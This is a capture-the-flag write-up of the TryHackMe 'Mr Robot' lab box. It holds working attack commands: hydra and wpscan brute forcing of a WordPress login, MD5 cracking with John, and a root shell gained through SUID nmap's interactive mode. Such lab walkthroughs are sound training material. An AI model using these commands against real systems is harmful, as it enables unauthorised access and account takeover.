Mr Robot CTF - Write-up - TryHackMe

Information

Room#

  • Name: Mr Robot CTF
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: Based on the Mr. Robot show, can you root this box?

Mr Robot CTF

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S nmap ffuf wpscan metapsloit hydra john gtfoblookup

Network enumeration#

Port and service scan with nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Nmap 7.91 scan initiated Mon May  3 10:41:45 2021 as: nmap -sSVC -p- -oA nmap_full -v 10.10.127.122
Nmap scan report for 10.10.127.122
Host is up (0.029s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after: 2025-09-13T10:45:03
| MD5: 3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
|_SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 3 10:45:10 2021 -- 1 IP address (1 host up) scanned in 204.28 seconds

Let's add a domain name to the machine.

1
2
$ grep mrrobot /etc/hosts
10.10.127.122 mrrobot.thm

Web enumeration#

The home page and linked pages are useless so let's find hidden pages.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -u http://mrrobot.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
...
admin [Status: 301, Size: 235, Words: 14, Lines: 8]
css [Status: 301, Size: 233, Words: 14, Lines: 8]
wp-admin [Status: 301, Size: 238, Words: 14, Lines: 8]
wp-includes [Status: 301, Size: 241, Words: 14, Lines: 8]
images [Status: 301, Size: 236, Words: 14, Lines: 8]
js [Status: 301, Size: 232, Words: 14, Lines: 8]
wp-content [Status: 301, Size: 240, Words: 14, Lines: 8]
xmlrpc [Status: 405, Size: 42, Words: 6, Lines: 1]
blog [Status: 301, Size: 234, Words: 14, Lines: 8]
login [Status: 302, Size: 0, Words: 1, Lines: 1]
feed [Status: 301, Size: 0, Words: 1, Lines: 1]
video [Status: 301, Size: 235, Words: 14, Lines: 8]
rss [Status: 301, Size: 0, Words: 1, Lines: 1]
sitemap [Status: 200, Size: 0, Words: 1, Lines: 1]
image [Status: 301, Size: 0, Words: 1, Lines: 1]
audio [Status: 301, Size: 235, Words: 14, Lines: 8]
phpmyadmin [Status: 403, Size: 94, Words: 14, Lines: 1]
dashboard [Status: 302, Size: 0, Words: 1, Lines: 1]
wp-login [Status: 200, Size: 2613, Words: 115, Lines: 53]
readme [Status: 200, Size: 64, Words: 14, Lines: 2]
robots [Status: 200, Size: 41, Words: 2, Lines: 4]
license [Status: 200, Size: 309, Words: 25, Lines: 157]
intro [Status: 200, Size: 516314, Words: 2076, Lines: 2028]

Most of them like admin or wp-login are rabbit holes very long to answer (several minutes!), I often have timeouts on wp-login.

The first key is easy to find: https://mrrobot.thm/robots

1
2
3
User-agent: *
fsocity.dic
key-1-of-3.txt

Grab the first key: https://mrrobot.thm/key-1-of-3.txt

We can also download the dictionary that may be useful later on.

1
$ wget https://mrrobot.thm/fsocity.dic

I tried to enumerate users with wpscan but none was found.

1
$ wpscan --url https://mrrobot.thm/ -e u --no-banner --disable-tls-checks

So I will have to enumerate users with bruteforce.

Web exploitation: authentication bruteforce#

It's possible to launch an attack with hydra but it will try one credential set at a time. So instead it is more efficient to do the bruteforce using wpscan as with XML-RPC it will be able to perform about 1000 per request. But XML-RPC Multicall was not enabled here so the traditional XML-RPC is only testing one per request but it's still more handy than having to craft a valid regexp with hydra.

So with wpscan we could perform the following command providing both a username list and password list but that makes 736438585600 possibilities.

1
$ wpscan --url https://mrrobot.thm/ --no-banner --disable-tls-checks -U fsocity.dic -P fsocity.dic --login-uri '/wp-login' --password-attack xmlrpc

So to decrease the number of possibilities we should we could clean the wordlist first. The wordlsit is big but there are tons of duplicates.

1
2
3
4
5
$ uniq fsocity.dic| wc
858160 858160 7245381
$ sort -u fsocity.dic| wc
11451 11451 96747
$ sort -u fsocity.dic > fsocity_uniq.dic

By cleaning the duplicates we can down it from 858k to 11k entries.

PS: The problem in this unrealistic scenario, is that by cleaning the wordlist you move the right username (Elliot) from the 15th line to the 5474th.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ grep -nE '^Elliot$' fsocity.dic | head
15:Elliot
11457:Elliot
22899:Elliot
34341:Elliot
45783:Elliot
57225:Elliot
68667:Elliot
80109:Elliot
91551:Elliot
102993:Elliot

$ grep -nE '^Elliot$' fsocity_uniq.dic
5474:Ellio

Normally with Wordpress when you put a wrong username and password you get the error ERROR: Invalid username so you know this is not he right username. So you only try to bruteforce usernames and when you found one you can bruteforce the password only and your get this error while it's wrong: ERROR: The password you entered for the username <username> is incorrect.. So it makes x + y possibilities rather than x * y possibilities.

But it seems that wpscan is not able to do that. With wpscan it is possible to bruteforce only username if we know the password or just bruteforce the password if we know the username but it's not possible to bruteforce the username without knowing the password.

So instead we will have to bruteforce the username with hydra.

1
$ hydra -L fsocity.dic -p norajwhatever mrrobot.thm http-post-form "/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm%2Fwp-admin%2F&testcookie=1:F=Invalid username"

In real life you would use the cleaned 11k fsocity_uniq.dic wordlsit (maybe just with the uniqueness without the sorting alphabetically) but since the right username is at position 15th in the dirty wordlist we'll use this one.

1
2
3
4
5
6
7
8
$ hydra -L fsocity.dic -p norajwhatever mrrobot.thm http-post-form "/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm%2Fwp-admin%2F&testcookie=1:F=Invalid username"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-05-03 15:47:40
[DATA] max 16 tasks per 1 server, overall 16 tasks, 858235 login tries (l:858235/p:1), ~53640 tries per task
[DATA] attacking http-post-form://mrrobot.thm:80/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm%2Fwp-admin%2F&testcookie=1:F=Invalid username
[80][http-post-form] host: mrrobot.thm login: Elliot password: norajwhatever
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

Now that we know the username, we can bruteforce the password with wpscan instead of hydra. The only limit is that wpscan takes only wordlist so we have to create a wordlsit of 1 one username.

1
2
3
4
5
$ wpscan --url https://mrrobot.thm/ --no-banner --disable-tls-checks -U Elliot.txt -P fsocity_uniq.dic --login-uri '/wp-login' --password-attack xmlrpc
...
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - Elliot / ER28-0652
Trying Elliot / erased Time: 00:21:57 <============ > (5630 / 17081) 32.96% ETA: ??:??:??

PS: for the password it's actually more efficient to use the cleaned wordlist.

1
2
3
4
5
$ grep -nE '^ER28-0652$' fsocity.dic | head
858151:ER28-0652

$ grep -nE '^ER28-0652$' fsocity_uniq.dic
5627:ER28-0652

It took me 21 minutes with the cleaned wordlist and password at 5627th position, so I let you imagine the time it would have required if I used the dirty wordlist with the password at 858151th position. Honestly I had to check a writeup because with such a long time of bruteforce I was thinking it was not the right way.

Web exploitation: WP plugin RCE#

Now that we are authenticated, I'll re-use a reverse shell plugin I used in another THM WP room (Mr Robot CTF).

I won't detail here how it works you can follow the exact same steps on my previous write-up.

System enumeration#

We can find the 2nd flag but can't read it.

1
2
3
4
5
6
7
8
9
10
11
12
daemon@linux:/home$ ls -lh /home
total 4.0K
drwxr-xr-x 2 root root 4.0K Nov 13 2015 robot

daemon@linux:/home$ ls -lhA /home/robot
total 8.0K
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5

daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

The second file will certainly contain a md5 hash for the robot's password that will allow us to connect via su once cracked.

It was instantly cracked with JtR:

1
2
3
$ john hash.txt -wordlist=/usr/share/wordlists/passwords/rockyou.txt --format=raw-md5
...
abcdefghijklmnopqrstuvwxyz (robot)

Elevation of Privilege (EoP): from robot to root#

Let's find SUID binaries:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
robot@linux:~$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 69120 Feb 12 2015 /bin/umount
-rwsr-xr-x 1 root root 94792 Feb 12 2015 /bin/mount
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 36936 Feb 17 2014 /bin/su
-rwsr-xr-x 1 root root 47032 Feb 17 2014 /usr/bin/passwd
-rwsr-xr-x 1 root root 32464 Feb 17 2014 /usr/bin/newgrp
-rwsr-xr-x 1 root root 41336 Feb 17 2014 /usr/bin/chsh
-rwsr-xr-x 1 root root 46424 Feb 17 2014 /usr/bin/chfn
-rwsr-xr-x 1 root root 68152 Feb 17 2014 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 155008 Mar 12 2015 /usr/bin/sudo
-rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap
-rwsr-xr-x 1 root root 440416 May 12 2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device
-r-sr-xr-x 1 root root 9532 Nov 13 2015 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 14320 Nov 13 2015 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 10344 Feb 25 2015 /usr/lib/pt_chown

It's easy to spot nmap on the list. And for sure we can EoP through it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ gtfoblookup linux suid nmap
nmap:

sudo:

Description: Input echo is disabled.
Code: TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

Description: The interactive mode, available on versions 2.02 to
5.21, can be used to execute shell commands.
Code: sudo nmap --interactive
nmap> !sh

$ gtfoblookup linux suid nmap
nmap:

suid:

Description: The payload appears inside the regular nmap output.
Code: LFILE=file_to_write
./nmap -oG=$LFILE DATA

Let's do it:

1
2
3
4
5
6
7
8
9
10
11
12
robot@linux:~$ /usr/local/bin/nmap --interactive
/usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !/bin/sh
# id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)

nmap> !/bin/bash
bash-4.3$ id
uid=1002(robot) gid=1002(robot) groups=1002(robot)

Note: be sure to ask for sh and not bash at the last one has a security to drop privileges.

Share